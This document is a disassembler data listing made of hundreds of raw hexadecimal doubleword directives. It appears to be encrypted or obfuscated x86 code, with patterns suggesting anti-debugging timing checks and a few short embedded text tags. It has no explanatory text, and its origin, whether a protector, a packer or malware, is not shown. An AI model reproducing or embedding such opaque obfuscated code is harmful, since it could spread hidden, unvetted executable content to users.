		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 120477C3h
		dd 54D8E7F7h, 0B6F0858Dh, 6A07ECh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 89FC07C3h, 5E90160h
		dd 57000000h, 0ACDDFF73h, 265985C6h, 6A4F07E9h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 1B64C350h, 8B607604h, 28DE80D7h, 4E861h, 742A0000h
		dd 0B360FEC8h, 28B0FE5h, 60000000h, 50506161h, 10E952h
		dd 4A6F0000h, 4BF4414Bh, 760AE3Bh, 7301EB40h, 310FC061h
		dd 52505250h, 585A310Fh, 6160310Fh, 585A585Ah, 424448Bh
		dd 61C78B60h, 5250008Bh, 0C78B6660h, 60310F61h,	5A615951h
		dd 24448958h, 0AE96004h, 4D000000h, 36F52603h, 2A589678h
		dd 6A58611Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 50DCC353h, 0B5FFC2CFh,	7E90B11h
		dd 2EC9BD89h, 858D07E9h, 7EC9FDBh, 89D0FFF8h, 0E92591B5h
		dd 70E907h, 8BF50000h, 550C245Ch, 0E8h,	0ED815D00h, 7ECB68Bh
		dd 2669858Bh, 858907E9h, 7E90B11h
		dd 16B5858Bh, 858907E9h, 7E90115h, 347D858Bh, 858907E9h
		dd 7E91EE1h, 265985C6h,	0C70007E9h, 0ECA14E85h,	7, 0F0858D00h
		dd 8907ECB6h, 0B883h, 0C0335D00h, 0C78160C3h, 13B8F489h
		dd 574EABAh, 0B5316177h, 7E92B49h, 26058589h, 74BC07E9h
		dd 6A0012FFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 3422C355h, 0EF0C7728h,	58F64h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 28ABC356h, 20F8DE34h, 836D46C6h
		dd 6A04C4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F8F9CEC3h, 6E99E35h, 60000000h, 460F580h
		dd 83E961A5h, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h
		dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h
		dd 57h,	3785B8Bh, 8B1C245Ch, 74032473h,	8B561C24h, 738B207Bh
		dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh,	178B1C24h
		dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h
		dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h
		dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 6E8h
		dd 4B28C800h, 0E8211BEFh, 0Bh, 43945E96h, 0D1239AB4h, 81D17684h
		dd 9BDBADF7h, 0E95B594Ch, 11h, 378A720Ch, 93EB3A99h, 0DDD2343Ch
		dd 0C0A36D01h, 0F4C38139h, 0E9000073h, 12h, 0AEB4A762h
		dd 79BC2D8Bh, 3D5ED17Dh, 0EB5558F7h, 0F62BC604h, 0DE8h
		dd 0A10D2200h, 33605A03h, 228E6139h, 0FF58CFA3h, 73BF1E34h
		dd 5A7713E3h, 0F2815953h, 4F0D8B80h, 28C0Fh, 0EF8A0000h
		dd 229BEA81h, 0F88B17BEh, 0CCE6C281h, 13E93BF4h, 0AB000000h
		dd 0A84A3ABEh, 655F58Fh, 3DEDE02Bh, 7EDF5284h, 8B52CE2Fh
		dd 33048FC1h, 7D64B956h, 575F75A9h, 0EE835FF5h,	81CA8B04h
		dd 0FF8CD0FEh, 0A0850FFFh, 0B4FFFFFFh, 4934EBB8h, 474D5346h
		dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h
		dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 6DEh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0D5C35040h, 0E9E9B009h, 14h, 753E2D8Dh
		dd 9E79CF6Dh, 36D2EF4Ch, 5216F03Fh, 2567A189h, 0BE960h
		dd 0A8020000h, 0C5B98C77h, 0DAE12B8Dh, 0F185C765h, 7ECB8h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 7F13C351h, 830FF5ECh, 1Eh, 11E960h
		dd 0EFA90000h, 52338349h, 4096D0C4h, 363580A0h,	81C7F1B8h
		dd 0E95A90C1h, 0C68B611Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0EFC35141h, 0ED5B6489h, 870F6016h, 11h
		dd 0BE8h, 0B28B8500h, 6EEF3886h, 0A9D1EEF5h, 5BF5565Eh
		dd 8B666061h, 58A0FFAh,	66000000h, 0CC6AF081h, 0D8B70F61h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6C35141h
		dd 0C1B07F47h, 6E910E8h, 0F8000000h, 0AFEA613Dh, 0C8C166EBh
		dd 52006A08h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 325BC362h, 89F98908h, 0ECB8F585h, 0CC8A6007h
		dd 0C16661F5h, 6A08CBh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 2D2B69C3h, 5497CCDCh, 0E9F823B3h
		dd 0Fh,	0E86D0468h, 0AAE95620h,	0FF9CDF80h, 83D8818Ch
		dd 850F40FBh, 50h, 0C9BD8DFCh, 6A07ECB8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0FEEBC350h
		dd 0FAA8AF51h, 0A75C00DAh, 11E9h, 0F978DF00h, 0EB3224F2h
		dd 0D47B91CBh, 0EC3A5081h, 66607909h, 8B66C78Bh, 64E961D9h
		dd 0FC000001h, 0F0DFB83h, 5985h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 14E9602Ch
		dd 7A000000h, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h
		dd 0B5372300h, 8DF96128h, 0ECB8D1BDh, 14E9FC07h, 60000001h
		dd 2810Fh, 61600000h, 3820Fh, 0B70F0000h, 0FB8361FFh, 6A850F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 8E53C356h, 0AE99Ch, 70F70000h
		dd 462994ACh, 345BED1Eh, 0D9BD8DF9h, 0F07ECB8h,	98Ah, 0E0BE6000h
		dd 8B0CE23Fh, 0B0E961DAh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 234FC350h
		dd 0FCF83AB4h, 2AFB83FCh, 20850Fh, 8DF90000h, 0ECB8E1BDh
		dd 18A0F07h, 0F9000000h, 72E9h,	8E900h,	75D0000h, 0C34DF577h
		dd 0FB83E0ECh, 8F850F27h, 6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 72F9C352h
		dd 6850F75h, 60000000h,	80E080FCh, 0E9BD8D61h, 6A07ECB8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0DEA4C350h, 17D9C3A8h, 579785EAh,	1860Fh
		dd 89F90000h, 0ECB8F9BDh, 0EE9FC07h, 14000000h,	347A839Ah
		dd 58804D60h, 2D76F864h, 0C88C66B9h, 12E9h, 70BA4600h
		dd 3721DBA9h, 7CC040F6h, 8A29703Ah, 241B891Ch, 51006A03h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0AC090EFh, 4D850FC0h, 0F9000001h, 0BEB3B58Dh, 6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 47C6AC3h, 8BE3E081h,	0ECBF3E85h, 0FE96007h, 2D000000h
		dd 993A3745h, 346AED67h, 1DB4AC10h, 0BE669619h,	92616025h
		dd 60D48A60h, 0BA666160h, 6161A432h, 0F525050h,	28Ah, 0F616000h
		dd 2860F31h, 60000000h,	92585A61h, 4C010FF9h, 6AFE24h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5107D7C3h, 0DE9A856h, 0E3000000h, 64FAEA6Ah,	85F14692h
		dd 0C85ADBACh, 0DE95Ah,	21740000h, 16970E9Ah, 7481103Fh
		dd 83B9E6F8h, 6A24C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 66FCB4C3h, 0E9FC7289h, 14h, 9D562C8Bh
		dd 193F55C4h, 83679FC0h, 7190E631h, 0F436197Dh,	0F910CEC1h
		dd 2728966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0ACC35343h, 5723E0C1h, 0F944DACh, 182h,	4CDF500h
		dd 6E9F9h, 66890000h, 2177A38Ah, 81E9h,	0DE900h, 0AA020000h
		dd 0CDFFE3EBh, 102624E6h, 0F892444Eh, 0BF3E858Bh, 0F6007ECh
		dd 61F8D9B7h, 0BEB3B58Dh, 6A07ECh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 81E650C3h, 0B70F6072h
		dd 68C0FFAh, 81000000h,	9FE00C6h, 858D611Bh, 7EC7789h
		dd 6AD0FFF8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0C349C356h, 54AC3008h,	858988B6h
		dd 7ECB8F1h, 11E9h, 55B04500h, 42CFD013h, 0BF6A264Eh, 0ADF27852h
		dd 0E961072Fh, 0Ah, 8C4DB4DCh, 4E57A56Fh, 858BFEA1h, 7ECB8F1h
		dd 0FE960h, 0BDBD0000h,	0BC82D4E6h, 6A1A0AC4h, 0F44BEF3Bh
		dd 0DAB70F05h, 60F8C361h, 0E51EB866h, 3FE18153h, 5A272ECDh
		dd 870F6061h, 17h, 12E9h, 88E14900h, 0E6B1B0A1h, 25238E10h
		dd 0D0636451h, 837DEA3Fh, 0ECBF3EBDh, 850F0007h, 34h, 6E9h
		dd 0C7BDE400h, 0C72BBEAAh, 0ECBF3E85h, 1013F07h, 14E96000h
		dd 2A000000h, 6D934A07h, 68A25CCDh, 3D3CEABCh, 1EC6281Dh
		dd 66B46A6Dh, 61C50BBBh, 25E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A98DA3E8h
		dd 63366E1Eh, 20CDFC6Ah, 0
		dd 3774C00Bh, 8B0C708Dh, 0ECB8F9BDh, 8B907h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 0ECB8F59Dh, 34583B07h, 0D38B157Fh
		dd 304D26Bh, 89018BCAh,	0ECB8F185h, 8B04EB07h, 61C5EB00h
		dd 0B8F1858Bh, 6ACF07ECh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0BED5C352h,	0CC4560BCh
		dd 0EE98Eh, 0C17E0000h,	6EC042h, 94CA40A0h, 5106EB9Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 43C35040h
		dd 9490A37Dh, 234591ADh, 0C08BF9AAh, 13E8h, 0E9EAB00h
		dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 0A67F8D51h, 0DF8B6660h
		dd 5E61FA8Bh, 0AA7B8CB9h, 7EC68156h, 66000071h,	8151D181h
		dd 68h,	1B830F00h, 0E8000000h, 12h, 5599F81Dh, 3D193232h
		dd 0CCC16018h, 0B2BA78CAh, 0B70FC05Fh, 0E95A5BDAh, 9, 8A748BC7h
		dd 130B4379h, 3234FF0Eh, 6840Fh, 0C8810000h, 0F47F6CCh
		dd 4CDBB85Fh, 0C7816767h, 5BF0B557h, 0EF81C38Bh, 3DA0D20Ch
		dd 0ECA2BB66h, 12CFEF81h, 0F1B35679h, 4820F57h,	66000000h
		dd 8F42C3B8h, 0CE8A1604h, 8104EA83h, 0FF8F34FAh, 0B2850FFFh
		dd 0FFFFFFFh, 28Fh, 0E91EB300h,	109h, 21C0DFE3h, 8A055C97h
		dd 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	171E577Dh
		dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h
		dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh,	20602060h
		dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h
		dd 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h
		dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h, 59A0A3D2h
		dd 1Eh,	8 dup(0)
		dd 0CC4E900h, 0BD680000h, 0E907ECC3h, 0FFFCBA0Ah, 0ECC4C468h
		dd 0BA00E907h, 0AD68FFFCh, 0E907ECC5h, 0FFFCB9F6h, 0ECC69568h
		dd 0B9ECE907h, 2868FFFCh, 0E907ECC7h, 0FFFCB9E2h, 0ECC7DC68h
		dd 0B9D8E907h, 2068FFFCh, 0E907ECC9h, 0FFFCB9CEh, 0ECCA4B68h
		dd 0B9C4E907h, 1D68FFFCh, 0E907ECCBh, 0FFFCB9BAh, 0ECCC1568h
		dd 0B9B0E907h, 0BC68FFFCh, 0E907ECCCh, 0FFFCB9A6h, 38B5C754h
		dd 7302789Ch, 0A04D2FC1h, 179E1C74h, 49E490A5h,	0D77A56D3h
		dd 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah,	70032969h
		dd 0F3D1EB28h, 0ED6A04Ah, 0DD15342h, 0E90DAC40h, 6A56AD5Ch
		dd 49A18A91h, 0F8A9CF6Dh, 305C74B8h, 22B44A58h,	1AEA94BAh
		dd 0A5DA088h, 54EE78EFh, 0CA1A9888h, 8715978Eh,	6647DAABh
		dd 356F37B5h, 600C0AA3h, 966E0C20h, 3DE3790Ch, 0E9E539F1h
		dd 10BC3143h, 0D0AA4EFAh
dword_5C005C	dd 0E91DA842h, 0B0142CAEh, 0EF96CA26h, 28739AD4h, 46822B55h
					; DATA XREF: ___:off_444E84o
		dd 892BCAB4h, 81CD1163h, 6635096Bh, 0A7B57F1Eh,	8B9B43D5h
		dd 43AF3509h, 9FBC57Eh,	337B8C1Ah, 4F000005h, 0ED6A04Ah
		dd 3FBDD470h, 0E5FBDAE7h, 2D1AE5A8h, 0D567539Fh, 0C4570AABh
		dd 0A9C8B953h, 0E937B4CBh, 0C35D6BBBh, 72CBCECEh, 945C4628h
		dd 72CBD9F5h, 0DA838F28h, 1AD4C739h, 2D278Ch, 0B3830000h
		dd 0ECA537A0h, 37B5AAEDh, 9927FFA5h, 2B661A3Dh,	2873AA6Bh
		dd 8169FFA5h, 73A9E4C0h, 0D5749828h, 19FABC04h,	0CC3A8Ch
		dd 4A880000h, 2F4DE0A0h, 0E4094599h, 0EA004C90h, 0C24FBB8Fh
		dd 9F2E7124h, 0D72F44E6h, 7BCB594Bh, 63F5BD5Fh,	9F047A1Eh
		dd 8210450Eh, 0A7F9B9E8h, 891B305Ch, 0DAD761FBh, 305CA7DAh
		dd 48EC683Ah, 8CFBC632h, 305CA421h, 0CC611339h,	54A8CA60h
		dd 77019681h, 0B592A73Ah, 98158F37h, 2BBD2AC5h,	0C7B9E876h
		dd 6CFEA42Fh, 862F4DE0h, 0FC75072Ah, 3C31AA96h,	0F6893E36h
		dd 0F7000009h, 3F991464h, 60CC611Bh, 9701ACCEh,	0C470FD7Fh
		dd 32AA4B31h, 47085F5h,	56D6CF69h, 0A2DA7DDFh, 0E98BA113h
		dd 0A872344h, 2870028Ah, 7812708Ah, 0E34339DCh,	0B83454E1h
		dd 7005E241h, 83F91CB8h, 44E874F2h, 1CD4EE36h, 0BFD692B8h
		dd 4DE3E13Dh, 0A0B362A0h, 0EDECA537h, 5F37B5AAh, 0BDD528C5h
		dd 46D55C5Ah, 73205353h, 3FD1BD28h, 4DE3E13Dh, 9DCD88B8h
		dd 0F743D4D1h, 3B45990Bh, 96B0F0A1h, 74602873h,	2E0A98E2h
		dd 7397835Fh, 34D57928h, 1A0E1DE7h, 0A5598Ch, 4A690000h
		dd 420ED6A0h, 9071CDAFh, 305CC125h, 0C8651725h,	759ACE6Ch
		dd 879F3B0Bh, 15AB3905h, 4FEABF87h, 28B44ED8h, 0AFE27406h
		dd 305CC0EFh, 0D6B78321h, 37B5AF03h, 0A9FC7133h, 24641D8Eh
		dd 0EC2873AFh, 0F1561CB1h, 4DE3ACF1h, 1D742DBFh, 952FC783h
		dd 3CD17D0Fh, 0AD29B538h, 9004EC88h, 3E72FF7Dh,	863C31E3h
		dd 8EF194Eh, 6D8E0000h,	22366213h, 0D57BD558h, 76AE0AABh
		dd 3ADF79F4h, 0FC3DB342h, 7203799Ch, 0A04DCFC6h, 1499E374h
		dd 4DE092B8h, 83037E28h, 8D287001h, 0A74A097Fh,	5EFC58D5h
		dd 4A31911Ch, 9844D6A0h, 0A83A0A88h, 0CDC3481Dh, 240CEE0Eh
		dd 482ECC88h, 5BCD5959h, 5BE9BB30h, 7830BDAh, 5FE98314h
		dd 671A9EF7h, 305BCD27h, 0D925BBE9h, 6B9E6FCBh,	4B37B4A7h
		dd 0DA04BD59h, 8706AB33h, 5D233594h, 0AA336424h, 60F6AC29h
		dd 0B346069Ch, 17A13BC9h, 0AA331A9Ah, 879EFA29h, 45D77705h
		dd 0B8E9FF3Bh, 310327EDh, 61ED7F25h, 5250AC30h,	0A13C4AE6h
		dd 0B0A50290h, 0DB966258h, 4031CB58h, 21C1A340h, 0DFDFD2D0h
		dd 3121C1A2h, 564BDD73h, 2916031Dh, 0DD791391h,	0FDEB47C5h
		dd 34B9BB51h, 69007298h, 2563632Dh, 6665995h, 0E7000008h
		dd 2F892454h, 50FC710Bh, 8731BCBEh, 34600D8Fh, 42DA5B21h
		dd 1460F5E5h, 66E63F99h, 0B2CA6DCFh, 0F97B9103h, 1A971374h
		dd 286FFF9Ah, 4A62407Ah, 0A944D6A0h, 0B00BF606h, 1466F401h
		dd 0CC24BAC8h, 0F352DD90h, 27671A5Eh, 0E9305BEDh, 59725BBh
		dd 0E0A0D16Bh, 30305BECh, 3A44EA72h, 7110D8EAh,	37B4D2E6h
		dd 247FF6ACh, 950C9E09h, 2FC710B8h, 369E287Ah, 79DB5A24h
		dd 7D17A1D3h, 86128404h, 0DA168C20h, 0B7203386h, 51066C25h
		dd 188A27DAh, 4E34C68Eh, 99515353h, 80504418h, 8E9F9CC5h
		dd 7C0E9C06h, 0F53D3FD0h, 0CCAE4CE8h, 4CEE7670h, 0EB23B35h
		dd 8614D706h, 8AA024BEh, 0C26D00E8h, 9F29C355h,	9939A2E2h
		dd 41307218h, 18993A41h, 8F19D1D3h, 0F2215712h,	0AC455F1Fh
		dd 2C4802E4h, 1EBB2C20h, 0DF000007h, 7B13C3Ch, 48E489F3h
		dd 0FF59D4A6h, 2C8825A7h, 6AC27309h, 2C48EDCDh,	7EFE1781h
		dd 0CAB245F7h, 1163892Bh, 0F2AFFB9Ch, 286FFEB2h, 0B37A2862h
		dd 0ECA537A0h, 37B1037Eh, 5E069012h, 7F69C1BBh,	0A0D479E5h
		dd 0CEEA465Ch, 1CB8522Ch, 13BF8705h, 4EC8202h, 83FD1FB9h
		dd 0B3C96DE9h, 45995153h, 58F265F0h, 3D7D34CEh,	2D287004h
		dd 70043474h, 0CEC6DC28h, 0E26D1CD4h, 4A2FC8E9h, 4E8DCFB3h
		dd 4FAB6997h, 0DA6801A3h, 0FA3C31A2h, 68B756Ah,	0C9620000h
		dd 86AA06AFh, 39DF79F4h, 1202AE47h, 9EB31D90h, 60D957DEh
		dd 169FDD70h, 44E96BBAh, 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch
		dd 0F1286FFEh, 0A0B3E5DBh, 4FECA537h, 0E337B102h, 8DAF37C1h
		dd 0A5FD59F3h, 1C5DF27h, 2EB488ECh, 0BF5DFFC2h,	0CE6761BDh
		dd 542E3629h, 0F957E6D7h, 3E69C8Ah, 0A25F830h, 0F0960B9Dh
		dd 9C2FC42Ch, 45E87406h, 1DD5EF37h, 4F29C38Bh, 96E00AA6h
		dd 8094304Eh, 50982AFAh, 0BC02929Dh, 130EB1E6h,	0CDAF4004h
		dd 0F21AD3Fh, 8614916Dh, 7DF597CBh, 0D4CD891Fh,	930E9850h
		dd 27DC0FD8h, 8B2DC4DEh, 8B242614h, 5D704BBh, 85960000h
		dd 3ADE7AFBh, 0ED03AD40h, 5EB6E293h, 52E751DCh,	14158B2Ah
		dd 4AEB91A4h, 0B835B7EEh, 0EC81FB1Ch, 25C8AA40h, 6B2B6640h
		dd 0A5286FFEh, 0A04A3197h, 2FA944D6h, 69F9F219h, 0A7257DD9h
		dd 0B1ED455Fh, 0C076AF37h, 0ECF64E2Ch, 89F8865Eh, 305BD309h
		dd 2F0B990Bh, 8517618Bh, 0F844C8D9h, 0E8830EEAh, 3248EC4Dh
		dd 1700A9Ch, 305BD381h,	6DEF2793h, 0B57D1391h, 0BA1F7E33h
		dd 2D7737B4h, 0BB9430D1h, 0C4482872h, 0E60CF425h, 2E6A8C1Ah
		dd 5C000000h, 0C71F5DF0h, 0B35775BDh, 0A76F30A0h, 0BC3CF2E0h
		dd 0E6E59C2Eh, 0AC37B4ADh, 5B772EF6h, 12872ADh,	45BF5CFDh
		dd 0A18C1AF8h, 0BFh, 0D6A04A01h, 0CDAF420Eh, 0C5B74571h
		dd 0BDBF5D79h, 0C1665130h, 0D664305Ch, 0A54A12A4h, 0B1790BDBh
		dd 86A802Ch, 65F66134h,	5CC16C2Ch, 0D9C8A430h, 0A537C55Bh
		dd 0D238720Bh, 0A606741Dh, 0D02CBB4Ah, 980A37B4h, 44D74215h
		dd 72D04D4Dh, 4FDDC728h, 0F835C4BDh, 0ED872FC6h, 86F7F4B4h
		dd 0AA861C20h, 824ADCC6h, 34600D6Fh, 0CCC55F21h, 2086F7CCh
		dd 6B2B5E44h, 0A52086F8h, 5EC069FFh, 663C316Ch,	493F9EEh
		dd 0C16A0000h, 7E923EB7h, 31C771FCh, 1A0AA64Fh,	96BB1598h
		dd 58D14FE6h, 0EA7D578h, 7CF173A2h, 0B03D3FD0h,	0E984F604h
		dd 27671A84h, 0E9286FFCh, 0A74AEDD3h, 5EFC58D5h, 0B331911Ch
		dd 89EB01A0h, 0F992FB5h, 34B8E975h, 6F1EDAE8h, 37B5AB70h
		dd 0C1A07C26h, 2873AAE5h, 5D6779Bh, 8C19F9BBh, 1163Bh
		dd 6011AB00h, 2873B720h, 4446B2F0h, 0F3B3EE78h,	0D5305CC4h
		dd 4D573FBDh, 5E1B31E5h, 897D0798h, 29F58BC4h, 10EC88ADh
		dd 5C234671h, 0E59C3630h, 305C22A5h, 0D9FD356Fh, 0AC4133h
		dd 0B0478FEAh, 0B51774Eh, 3FCDAF43h, 0B54FD9E7h, 5CBBBCFCh
		dd 5B4E5430h, 305CBC5Bh, 419DDF7Dh, 99515343h, 628829C4h
		dd 6CE88210h, 626EB634h, 5153B3CDh, 0E77177C3h,	0BC54544Dh
		dd 0E6BC305Ch, 9B6C7B0Ah, 0D8CA37B5h, 80170255h, 36C15CF6h
		dd 0F4DF3B2Fh, 6AE0E149h, 462FC720h, 5E064F5Bh,	113BBF0Dh
		dd 77059F67h, 6A8F57E1h, 6A036312h, 5BBAF7F5h, 0A43ECF07h
		dd 0CD58B13Bh, 0B75A7EBAh, 2EBC2CC5h, 44983C31h, 36813h
		dd 8AEA0100h, 0D7A549EBh, 225CF25Eh, 73F12193h,	0B9C356C2h
		dd 1783A434h, 59FB7A02h, 8F29C448h, 339D1068h, 0B1D65F19h
		dd 0FAFCBCF5h, 0E614286Fh, 0D1A74A80h, 5CC4E0A0h, 0DC723030h
		dd 2B55E751h, 59233591h, 0C4D2D2CFh, 6042305Ch,	4ABD0588h
		dd 0AA44D6A0h, 3B6E0822h
		dd 305CC57Bh, 0CDC1BB5Dh, 8BC71BD7h, 479E1761h,	34DA823Dh
		dd 0C6DEFA4Ah, 54EAF844h, 0C156C19Ch, 9F877A37h, 38D537B5h
		dd 849E0889h, 0B65A9622h, 0D67E28ECh, 0DDE73F41h, 93107415h
		dd 0A6B1CC1Ch, 0BA8AF207h, 0F775AC28h, 0EBDAD761h, 4B8B9691h
		dd 25308559h, 0F06918B2h, 0C283A8F1h, 290164E7h, 0D66490DEh
		dd 729844h, 7929C36Dh, 6613A1D3h, 8810CA0Ch, 96BF102Ch
		dd 57000002h, 9F39B4C4h, 0C06C017Bh, 77A14C2Eh,	0A4109D1Fh
		dd 0D24AEB91h, 0A4D06555h, 0F676AF09h, 423ADD7Fh, 89EB01B3h
		dd 6A2783E4h, 286FFA2Ah, 4AF2D0EAh, 9844D6A0h, 903C0072h
		dd 826EFC7Eh, 0F989B6Eh, 0AC45047Dh, 574D37B5h,	489028C5h
		dd 0D1B843A5h, 420A9419h, 0C465CDAFh, 0AE393428h, 0E361B01Ch
		dd 82F48103h, 51C28B4Ch, 0E88264CCh, 3A63235Eh,	0F7AD2873h
		dd 14974A3Bh, 851F2FCCh, 0A4D8F081h, 0CE69BD1Ch, 0A564245Dh
		dd 0F6AC63FBh, 0E90ED660h, 58EE8EA1h, 356CFE84h, 63FBA575h
		dd 0BB2D059Fh, 0E597A521h, 9A317C0Dh, 811B6B54h, 99FABAF7h
		dd 881A5C12h, 12999919h, 0F91F7B5Ch, 2A67F187h,	5C129A6Ah
		dd 4C30F8AAh, 383B8E56h, 0EB641DAFh, 0C76366F9h, 18F90BDAh
		dd 85B7C16Eh, 0F9FE8F1Fh, 0B14BD931h, 0F8750715h, 35BCBE5Ch
		dd 0EFD2A9ABh, 9E645BEBh, 5F000001h, 8731BCBCh,	0C8640973h
		dd 7FD95426h, 0AC08A527h, 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h
		dd 4A32C577h, 91E309ABh, 722F7B1Ch, 286FF932h, 78FAA8E2h
		dd 0FE46C4DCh, 0C4F1B1E0h, 8123305Ch, 799307F3h, 0D46624C9h
		dd 0BA485AAAh, 7ACA586Ah, 8923B4A7h, 0B5A89118h, 92238137h
		dd 0A9445253h, 2F5AC3Eh, 0B02FCC82h, 0BB9B2AF2h, 64B97993h
		dd 67275AC9h, 0A9679795h, 0DED365FBh, 6EF089D3h, 0C89D6143h
		dd 0C3C3BE2Dh, 4D5FAE89h, 7A37C157h, 6702EA01h,	0F965F7ADh
		dd 208C2153h, 5C1680Ah,	5DEB7E7Ah, 0F72E81h, 65F60000h
		dd 1A3E9A1Bh, 0CD63CD60h, 7E9602B3h, 32C771FCh,	0F435AB4Ah
		dd 6A0B7184h, 0D855D7CEh, 0CA1DB7Ch, 45E88AA0h,	8B0B8620h
		dd 85286FF9h, 0A04A1177h, 992F4DE0h, 0C465F045h, 22B44A30h
		dd 0B5A4F46Fh, 56E0C237h, 9C156B8Eh, 2873A51Ch,	0BC18AEF4h
		dd 870AE664h, 44D641ECh, 5B0F22AAh, 0FF3BC94Bh,	0C7E46C0Eh
		dd 0B86202Fh, 2086E58Bh, 98BF1F85h, 0F0861CE0h,	0E88AA02Ch
		dd 0DF7DD945h, 0CB61559Dh, 0B14B55A9h, 978FC15h, 2086E589h
		dd 30D1198Bh, 469AD46Ah, 6DB1CB6Eh, 8A9A3061h, 18AE3408h
		dd 963759C4h, 66BEB852h, 0E50FCE5Ch, 86A8044h, 5321CB65h
		dd 5AD45E5Eh, 5EECB6FAh, 86DF886h, 0C6120D0Eh, 0B4ECC820h
		dd 1538A436h, 41059F67h, 6E74C8ACh, 17396E82h, 0CDC48076h
		dd 5EDF74Fh, 74F97B91h,	0FC4032D8h, 8CBh, 0DC781B00h, 0D0EA46C4h
		dd 0D7A14A72h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh
		dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 69685E55h
		dd 89000049h, 8957240Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2434895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 0BD55242Ch, 3CE606C8h, 6AA6ED81h, 0C58309F3h, 7EDC101h
		dd 0DCE6C581h, 0EE890786h, 4EC835Dh, 83242489h,	5D042404h
		dd 8B850h, 0E8010000h, 48B3089h, 4C48124h, 8B000000h, 8953242Ch
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 24348B5Ch, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 0FCAD51E9h, 0D8B8DCFFh, 307ECCDh
		dd 0C4E0FFC5h, 872EBBDAh, 0A246E582h, 7113F0CCh, 0FF7BC4AEh
		dd 4B669C13h, 0E472AD9Dh, 0BF7212DEh, 0EC258DDAh, 5C6D3BFAh
		dd 0D3032E21h, 0B772291Eh, 0B9177D65h, 8E6D0647h, 6A055E4Ah
		dd 0D7060249h, 0FB373CE0h, 906656A5h, 7C1536DAh, 0EA062E95h
		dd 7C2F77C7h, 846337CBh, 0B33C7BA9h, 533190F6h,	0F17AC21h
